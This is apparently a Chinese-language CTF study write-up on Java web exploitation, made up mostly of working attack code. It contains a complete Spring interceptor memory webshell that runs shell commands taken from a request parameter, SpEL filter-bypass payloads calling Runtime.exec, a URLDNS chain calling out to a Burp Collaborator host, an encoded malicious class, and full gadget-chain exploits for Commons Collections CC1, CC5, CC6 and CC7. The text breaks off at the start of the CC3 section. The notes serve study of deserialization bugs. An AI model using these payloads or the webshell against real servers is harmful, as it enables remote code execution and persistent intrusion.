QcAiAYAAQCJAAAAAgCK
|
内存马本体:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84
| import org.springframework.web.servlet.HandlerInterceptor; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import org.springframework.web.context.WebApplicationContext; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.servlet.ModelAndView; import org.springframework.web.servlet.handler.AbstractHandlerMapping; import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.lang.reflect.Field; import java.util.List;
public class InceptorMemShell extends AbstractTranslet implements HandlerInterceptor {
static { System.out.println("staart"); WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class); Field field = null; try { field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors"); } catch (NoSuchFieldException e) { e.printStackTrace(); } field.setAccessible(true); List<HandlerInterceptor> adaptInterceptors = null; try { adaptInterceptors = (List<HandlerInterceptor>) field.get(mappingHandlerMapping); } catch (IllegalAccessException e) { e.printStackTrace(); } InceptorMemShell evilInterceptor = new InceptorMemShell(); adaptInterceptors.add(evilInterceptor); System.out.println("ok"); }
@Overridepublic boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { String cmd = request.getParameter("cmd"); if (cmd != null) { try { response.setCharacterEncoding("gbk"); java.io.PrintWriter printWriter = response.getWriter(); ProcessBuilder builder; String o = ""; if (System.getProperty("os.name").toLowerCase().contains("win")) { builder = new ProcessBuilder(new String[]{"cmd.exe", "/c", cmd}); } else { builder = new ProcessBuilder(new String[]{"/bin/bash", "-c", cmd}); } java.util.Scanner c = new java.util.Scanner(builder.start().getInputStream(),"gbk").useDelimiter("wocaosinidema"); o = c.hasNext() ? c.next(): o; c.close(); printWriter.println(o); printWriter.flush(); printWriter.close(); } catch (Exception e) { e.printStackTrace(); } return false; } return true; }
@Overridepublic void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception { HandlerInterceptor.super.postHandle(request, response, handler, modelAndView); }
@Overridepublic void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception { HandlerInterceptor.super.afterCompletion(request, response, handler, ex); }
@Overridepublic void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
} }
|
bypass
1 2 3
| T(String).getName()[0].replace(106,104)+T(String).getName()[0].replace(106,51)+T(String).getName()[0].replace(106,122)+T(String).getName()[0].replace(106,104)+T(String).getName()[0].replace(106,49) T(Character).toString(104)+T(Character).toString(51)+T(Character).toString(122)+T(Character).toString(104)+T(Character).toString(49)
|
Runtime的绕过
1 2 3
| T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),newString[]{"cmd","/C","calc"})
''.class.getSuperclass().class.forName('java.lang.Runtime').getMethod("ex"+"ec",T(String[])).invoke(''.class.getSuperclass().class.forName('java.lang.Runtime').getMethod("getRu"+"ntime").invoke(null),'calc')
|
关键词的绕过
1
| T(java.lang.Runtime).getRuntime().exec(T(Character).toString(99)+T(Character).toString(97)+T(Character).toString(108)+T(Character).toString(99))
|
反序列化
前置知识
类要能序列化满足的条件:
1 实现 java.io.Serializeble 接口
2 该类的所有属性必须都是可序列化,如果有一个属性是不可序列化的,那么这个属性必须注明是 transient 或 static。
Description
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| package com.ctfshow.entity; public class User implements Serializable { private static final long serialVersionUID = -3254536114659397781L; private String username; public User(String username) { this.username = username; } public String getName(){ return this.username; } private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { in.defaultReadObject(); Runtime.getRuntime().exec(this.username); } }
|
这里 User 类继承 Serializable 接口,反序列化时候调用 readObject 方法。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| package main; import com.ctfshow.entity.User; import util.SerializeUtil; import java.io.IOException; import java.util.Base64; public class UserMain { public static void main(String[] args) throws IOException, ClassNotFoundException { User user = new User("calc"); String payload = new String(Base64.getEncoder().encode(SerializeUtil.serialize(user))); System.out.println(payload); SerializeUtil.unSerialize(Base64.getDecoder().decode(payload.getBytes())); } }
|
反序列化链
URLDNS链
入口在 HashMap 下的 readObject,

这里调用了自己的 hash 方法,

这里进了 Key 这个 Object 的 hashCode 方法,我们传入一个 URL 对象的时候,会进 URL.hashCode。

如果自己的 hashCode 不是 -1,就返回,否则会进 handler.hashCode 方法,


就发生了 DNS 请求。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| package com.ctfshow.entity; import util.SerializeUtil; import java.io.IOException; import java.lang.reflect.Field; import java.net.MalformedURLException; import java.net.URL; import java.util.HashMap; import java.util.Map; public class CtfshowMain { public static void main(String[] args) throws ClassNotFoundException, IOException, IllegalAccessException, NoSuchFieldException { Map map = new HashMap<Object,Object>(); URL url = new URL("http://success.ybdc5g9cxiy4b2muudcdlnfv4macy1.burpcollaborator.net"); Field field = Class.forName("java.net.URL").getDeclaredField("hashCode"); ((Field) field).setAccessible(true); field.set(url,-1); map.put(url,"ctfshow"); byte[] data = SerializeUtil.serialize(map); SerializeUtil.unSerialize(data); } }
|
update:这个链子实际上是在序列化前就调用了 DNSlog,原理其实可以看一下 CC6 为什么要伪造 fakechainedtransformer。
CC链

前置知识
根据维基百科的介绍,Apache Commons是Apache软件基金会的项目,曾隶属于Jakarta项目。Commons的目的是提供可重用的、开源的Java代码。Commons由三部分组成:Proper(是一些已发布的项目)、Sandbox(是一些正在开发的项目)和Dormant(是一些刚启动或者已经停止维护的项目)。 Commons Collections包为Java标准的Collections API提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。
Transformer
- 接口
- 有一个transform方法,传入一个参数object,传入一个参数object
以下复现环境要求
java版本:java 1.8.0_65
Pom文件:
1 2 3 4 5 6 7 8 9
| <properties> <maven.compiler.source>1.8</maven.compiler.source> <maven.compiler.target>1.8</maven.compiler.target> </properties> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency>
|
常见工具类

可以发现就是对传入的 transformer 调用他们的 transform 方法并把返回值作为调用下一个 transform 的参数。

传入就等于传出。

对传入的 class 反射调用他的 methodName 方法。
也就是说,只要可以触发 ChainedTransformer 的 transform 方法,就可以触发一条链的 transform 方法,最终实现RCE。
TemplatesImpl
这个类不在 Apache Commons Collections 中。但是 TemplatesImpl 这个类很特殊,我们可以借助其动态加载包含恶意的字节码,部分简化代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| public final class TemplatesImpl implements Templates, Serializable {
private String _name = null; private byte[][] _bytecodes = null; private transient TransformerFactoryImpl _tfactory = null;
public synchronized Transformer newTransformer() throws TransformerConfigurationException { TransformerImpl transformer; transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory); }
private Translet getTransletInstance() throws TransformerConfigurationException { try { if (_name == null) return null;
if (_class == null) defineTransletClasses();
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); ………… } }
private void defineTransletClasses() throws TransformerConfigurationException { ………… TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction() { public Object run() { return new TransletClassLoader(ObjectFactory.findClassLoader()); } }); ………… for (int i = 0; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass(); } }
static final class TransletClassLoader extends ClassLoader { TransletClassLoader(ClassLoader parent) { super(parent); }
Class defineClass(final byte[] b) { return defineClass(null, b, 0, b.length); } }
}
|

我们先生成一个恶意类,这个恶意类必须继承于 AbstractTranslet。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| public class HelloTemplatesImpl extends AbstractTranslet {
public HelloTemplatesImpl() { super(); try{ Runtime.getRuntime().exec("calc"); } catch (Exception e) { e.printStackTrace(); } }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { }
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { }
|
然后我们反射调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| public class Test {
public static void setFieldValue(Object object, String fieldName, Object value) { try { Field field = object.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(object, value); } catch (Exception e) { e.printStackTrace(); } }
public static void main(String[] args) throws TransformerConfigurationException { byte[] code = Base64.decode("yv66vgAAADMANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAUTEhlbGxvVGVtcGxhdGVzSW1wbDsBAA1TdGFja01hcFRhYmxlBwArBwApAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwACQAKBwAuDAAvADABAARjYWxjDAAxADIBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAAzAAoBABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAAAwABAAkACgABAAsAAAB8AAIAAgAAABYqtwABuAACEgO2AARXpwAITCu2AAaxAAEABAANABAABQADAAwAAAAaAAYAAAAKAAQADAANAA8AEAANABEADgAVABAADQAAABYAAgARAAQADgAPAAEAAAAWABAAEQAAABIAAAAQAAL/ABAAAQcAEwABBwAUBAABABUAFgACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFAANAAAAIAADAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABABkAGgACABsAAAAEAAEAHAABABUAHQACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGAANAAAAKgAEAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABAB4AHwACAAAAAQAgACEAAwAbAAAABAABABwAAQAiAAAAAgAj");
TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", new byte[][]{code}); setFieldValue(templates, "_name", "HelloTemplatesImpl"); setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());
templates.newTransformer(); } }
|
也就是说,我们只需要执行 templates.newTransformer 方法,就可以载入字节码并执行恶意类的构造方法。
他的 transform 方法作用是反射调用构造函数将类实例化,关键代码如下:

常见 cc 链
cc1(Normal)
找到 class sun.reflect.annotation.AnnotationInvocationHandler,里面的 readObject 方法调用了 setvalue 方法,


这里 setValue 被调用的时候,实际上被装饰的 Map 重写了 setValue 方法,

而这个 valueTransformer 就是

也就是说调用了 valuetransformer。
现在开始梳理攻击链条:
首先我们找到了 AnnotationInvocationHandler 类,但是因为他的构造方法是 default 的,所以只能通过反射来调用。
var5 = this.memberValues.entrySet(),这里就是 TransformedMap.entrySet 方法,这个类没有去父类找,

然后调了 setValue 方法

实际上相当于是 下面静态类的 mapEntry 中的 setValue 方法,这里就会调用 this.parent 的 checkSetValue 方法,也就是 transformedmap 的 checkValue方法

这里就进了 valueTransFormer 的 transform 方法,也就是 chainedTransformer 的 transform 方法。
这里实例化 transformedmap 时候不能直接实例化,因为他的构造方法是受保护的,所以要调用他的 decorate 方法。

这里就基本可以了,但是还有一个小问题就是。

注意到这个 setValue 会对 transformedMap 值进行修改,所以我们引入 constantTransform 进行常量返回避免修改。
注意到需要进入 if 条件才能进行 setvalue,所以


可以看到,type的值是从传入的 type 类型获取的,所以我们需要一个有 value 的注解 class。
1 2
| Object o = constructor.newInstance(Retention.class,transformedMap); map.put("value","xxx");
|

到这里就基本结束了,
这里字符串 aaa 显然就不是什么 memberType 也就是 RetentionPolicy 的实例化,也不是什么 ExceptionProxy 的实例化,所以说直接进 setvalue。
readobject => setvalue => checksetvalue => chainedtransformer.transform => constanttransformer.transform => invokertransformer.transform
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| package com.example.demo;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import util.SerializeUtil;
import java.io.IOException; import java.lang.annotation.Retention; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationTargetException; import java.util.HashMap; import java.util.Map;
public class Transform { public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, NoSuchFieldException, NoSuchMethodException, InvocationTargetException, InstantiationException {
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
HashMap hashMap = new HashMap(); hashMap.put("value", "xxx"); TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(hashMap, null, chainedTransformer);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true); Object instance = ctor.newInstance(Target.class, transformedMap);
byte[] data = SerializeUtil.serialize(instance); SerializeUtil.unSerialize(data); } }
|
cc1(LazyMap)
刚才的 transformedmap 触发 transform 方法是由 setValue 方法触发的。
而 lazymap 触发 transform 方法是由 get 方法触发的。

而 AnnotationInvocationHandler 中的 invoke 方法就触发了他的 get 方法。
那么 invoke 方法就让动态代理来触发,我们不管调用任何方法,Proxy 的 Invocationhandler 的 invoke 方法去执行。
这里设置 Invocationhandler 为 AnnotationInvocationHandler。
1
| InvocationHandler h = (InvocationHandler) annotationInvocationhdlConstructor.newInstance(Override.class, lazyMap);
|

这里通过 AnnotationInvocationHandler.readobject => memberValues.entrySet => AnnotationInvocationHandler.invoke => lazymap.get => …..(同上)
由于这里也不需要走到 readobject 下面的 if,所以说注解也不需要指定为上面的 Target.class。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| package com.example.demo; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map;
public class Transform { public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>(); Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class); annotationInvocationhdlConstructor.setAccessible(true); InvocationHandler h = (InvocationHandler) annotationInvocationhdlConstructor.newInstance(Override.class, lazyMap);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);
Object o = annotationInvocationhdlConstructor.newInstance(Override.class, mapProxy); serialize(o); unserialize("sercc1.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("sercc1.bin")); oos.writeObject(obj); }
public static Object unserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); return ois.readObject(); } }
|
cc6
从 HashMap 的 readobject 方法看起,

hash(key) 跟进去就是

调用了 k.hashCode 方法,也就是说我们需要找到一个键值.hashcode 方法。
找到 TiedMapEntry 类。


这里就可以触发 lazymap 的 get 方法,触发攻击链。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| Transformer[] transformers=new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object,Object> map = new HashMap<Object,Object>(); Map lazyMap = LazyMap.decorate(map,chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"aaa");
HashMap<Object, Object> map2 = new HashMap<>(); map2.put(tiedMapEntry,"bbb");
serialize(map2);
|
这样写你会发现在序列化的时候就调用了,这是因为你 put 的时候就调用了 hashcode 方法了,那么反序列化的时候就不会再调用了(因为)。
所以我们需要先传一个 fakeTransformer 然后等下再反射改回来,这样就没调用过真正的 chainedtransform的hashcode。
还有注意,lazyMap 的 get 方法如下:

如果不存在这个 key 的值才回去调用 transform 方法,但是在传假 put 的时候已经调用过一次 hash 方法了,相当于已经存在了 key=>transform('key') 这样的话我们必须先 remove 掉才能在反序列化的时候调用到 transform 方法。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| package com.example.demo; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map; public class Transform { public static void main(String[] args) throws Exception { Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)}; Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new String[] { "calc" }), new ConstantTransformer(1), }; Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey"); Map expMap = new HashMap(); expMap.put(tme, "valuevalue"); outerMap.remove("keykey"); Field f = ChainedTransformer.class.getDeclaredField("iTransformers"); f.setAccessible(true); f.set(transformerChain, transformers);
ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(expMap); oos.close();
System.out.println(barr); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object)ois.readObject(); } }
|
cc5
上面 cc6 关键点是通过 lazymap.get 触发的,那么前面如果不通过 hashmap 来触发,是否还有其他的的链子呢。这就是 cc5。
通过 BadAttributeValueExpException 类的 readobject 方法

能够进 valObj 的 tostring 方法
1
| System.getSecurityManager()
|
找 TiedMapEntry 类的 tostring 方法,

getvalue 跟进去,到了

这不就 lazymap.get 了吗后面都是一样的了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| package com.example.demo; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map;
public class Transform {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) };
Transformer chainedTransformer = new ChainedTransformer(transformers);
Map uselessMap = new HashMap(); Map lazyMap = LazyMap.decorate(uselessMap,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"test");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field val = BadAttributeValueExpException.class.getDeclaredField("val"); val.setAccessible(true); val.set(badAttributeValueExpException, tiedMapEntry);
ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(badAttributeValueExpException); oos.flush(); oos.close();
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close();
}
}
|
cc7
这次换其他的类触发 lazymap.get 方法,


这里注意,只有 e.hash == hash 才能调用 e.key.equals 方法,这是 hash 的计算方法:

也就是说我们精心构造的:
yy 和 zZ 他们的 hash码是相同的
lazymap 没有 equals 方法,需要进他的父类 AbstractMapDecorator 找 equals 方法。

这里就进了 hashmap.equals 方法,但是 hashmap 没有 equals 方法,他的父类 AbstractMap 有,这里就调用了 lazymap.get:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| package com.example.demo;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.*; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.util.*;
public class Transform {
public static Hashtable getObject(final String command) {
final Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]} ), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]} ), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{command} ) }; final Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap1 = new HashMap(); Map innerMap2 = new HashMap(); Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain); lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain); lazyMap2.put("zZ", 1); Hashtable hashtable = new Hashtable(); hashtable.put(lazyMap1, 1); hashtable.put(lazyMap2, 2); lazyMap2.remove("yy");
return hashtable; }
public static void main(String[] args) throws Exception { Hashtable payload = getObject("calc");
ByteArrayOutputStream baos = new ByteArrayOutputStream(); try (ObjectOutputStream oos = new ObjectOutputStream(baos)) { oos.writeObject(payload); }
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); try (ObjectInputStream ois = new ObjectInputStream(bais)) { ois.readObject(); } } }
|
关键问题的解释:
为什么有两次 put?
第一次 put(lazyMap1, 1):
- 计算
lazyMap1.hashCode() → 调用 HashMap.hashCode()
- 直接放入哈希表,无冲突
第二次 put(lazyMap2, 2):
计算哈希冲突:lazyMap2 与 lazyMap1 哈希值相同
进入冲突处理循环:
1 2 3 4 5
| for(; entry != null ; entry = entry.next) { if ((entry.hash == hash) && entry.key.equals(key)) { } }
|
触发 equals():lazyMap1.equals(lazyMap2)
进入 AbstractMap.equals():
1 2 3 4 5 6 7
| while (i.hasNext()) { Entry<K,V> e = i.next(); K key = e.getKey(); V value = e.getValue(); if (!value.equals(m.get(key))) return false; }
|
调用 LazyMap.get("yy"):因为 lazyMap2 中没有 “yy” 键
触发 Transformer 链:执行恶意代码
为什么要 remove?
- 在
lazyMap2.put("zZ", 2) 过程中,由于调用了 lazyMap2.get("yy")
LazyMap.get() 会自动将 ("yy", transformed_value) 放入 map
- 这导致两个 Map 的 size 不同,在反序列化时的
equals() 比较会直接返回 false

cc7&cc6 比较
| 对比维度 |
CC6 链(hashcode => getvalue) |
CC7 链(哈希冲突 => equals) |
| 核心类 |
HashMap + TiedMapEntry + LazyMap |
Hashtable + LazyMap + LazyMap |
| 触发入口 |
HashMap.readObject() |
Hashtable.readObject() |
| 关键触发方法 |
TiedMapEntry.hashCode() |
AbstractMap.equals() |
| 攻击链路径 |
hashCode() → getValue() → get() → transform() |
equals() → get() → transform() |
| 需要的对象数量 |
1个 TiedMapEntry + 1个 LazyMap |
2个 LazyMap |
| remove操作原因 |
清除LazyMap自动添加的条目,确保反序列化时再次触发transform |
确保两个Map的size相同,使equals()能进入详细比较 |
| remove时机 |
在反射替换Transformer之前 |
在第二个put操作之后 |
cc3
我们注意到上文提到的 cc 链都是通过 InvokerTransform 来任意代码执行的,倘若 ban 掉了那该如何 RCE 呢?
用 TemplatesImpl,只需要调用 templates.newTransformer 就可以进行恶意类载入 RCE。
介绍 cc3 链子中的工具:TrAXFilter

在这个类的构造方法就执行了 newTransformer 方法。
那么怎么调用构造方法呢?
这里用 InstantiateTransformer.transform。
下面就是前面入口类与 cc1(LazyMap)基本相同的 cc3链子了:
1
| AnnotationInvocationHandler.readobject => memberValues.entrySet => AnnotationInvocationHandler.invoke => lazymap.get => ChainedTransformer.transform() => ConstantTransformer.transform() => InstantiateTransformer.transform()
|
测试 exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
|
package com.example.demo;
